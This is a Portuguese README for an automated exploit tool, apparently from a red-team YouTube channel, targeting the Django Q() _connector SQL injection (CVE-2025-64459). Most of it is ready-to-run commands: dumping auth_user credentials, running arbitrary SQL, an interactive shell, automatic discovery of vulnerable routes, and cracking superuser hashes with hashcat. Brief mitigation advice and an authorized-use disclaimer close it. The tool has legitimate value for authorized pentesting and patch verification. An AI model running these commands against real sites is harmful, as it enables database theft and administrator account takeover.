
NEO-SQLi — explora a Injeção SQL do Django _connector (CVE-2025-64459) | canal RedTeam Brasil
Exploração automatizada de SQL Injection no ORM do Django
Q-object _connector · CVE-2025-64459
🎥 canal RedTeam Brasil — segurança ofensiva, na prática, em português.
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ canal RedTeam Brasil
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ uso autorizado apenas
O ORM do Django monta filtros com objetos Q(). O construtor
Q(*args, _connector=None, _negated=False, **kwargs) aceita o kwarg especial
_connector — a string (AND/OR) que liga as condições dentro do WHERE.
Nas versões afetadas esse valor não era sanitizado e ia cru para a SQL.
Quando a aplicação repassa entrada do usuário direto para Q() / .filter() /
.exclude() / .get() via expansão de dicionário — o anti-pattern clássico:
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET)) # ou .filter(**request.GET)
…o atacante controla _connector e injeta SQL arbitrária entre as condições
(vale para SQLite, PostgreSQL, MySQL, etc.).
| Item | Detalhe |
|---|---|
| CVE | CVE-2025-64459 |
| Componente | django.db.models — Q() / QuerySet (_connector e aliases de coluna) |
| Versões afetadas | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| Correção | atualizar para 4.2.26 / 5.1.14 / 5.2.8 (ou superior) |
| Impacto | leitura arbitrária do banco (UNION/blind) → dump de credenciais e escalada da cadeia |
Com
DEBUG = Truea exploração fica trivial: a página de erro do Django devolve a SQL montada, a tabela base e o número de colunas — exatamente o que a ferramenta usa pra montar o UNION sozinha.
Explorador genérico (não é preso a um alvo) e automatizado:
--auto): crawl na home + robots/sitemap + wordlist embutida, testando cada rota pelo FieldError do Django.DEBUG=True via FieldError.--proxy) e alvos HTTPS.git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check
# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables
# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user
# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"
# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users
# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"
# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell
# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell # descobre e já explora
Com
--auto(ou o subcomandoauto) ele faz crawl na home +robots.txt/sitemap.xmle roda uma wordlist embutida de rotas de listagem/busca (EN + PT-BR + APIs), marcando as que devolvemFieldErrordo Django. Se você passar um--patherrado, ele cai no modo de descoberta automaticamente.
| Flag | Para quê |
|---|---|
--path /buscar | endpoint vulnerável (default /list) |
--auto | acha o endpoint sozinho (crawl + wordlist) |
--wordlist rotas.txt | rotas extras pra descoberta (1 por linha) |
--base app_model | força a tabela base (se a auto-detecção falhar) |
--proxy http://127.0.0.1:8080 | manda tudo pro Burp / mitmproxy |
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users
# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model> · colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
Com o hash do superuser em mãos:
hashcat -m 10000 hash.txt rockyou.txt # Django usa pbkdf2_sha256
request.GET direto para Q()/.filter(). Use allow-list:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False em produção (não vaze SQL/tabelas/settings).Ferramenta educacional e para testes autorizados apenas (labs, CTFs, bug bounty em escopo, pentest contratado). Uso contra sistemas sem autorização explícita é crime — você é o único responsável.
Feito pelo RedTeam Brasil · curtiu? deixa o like e se inscreve no canal.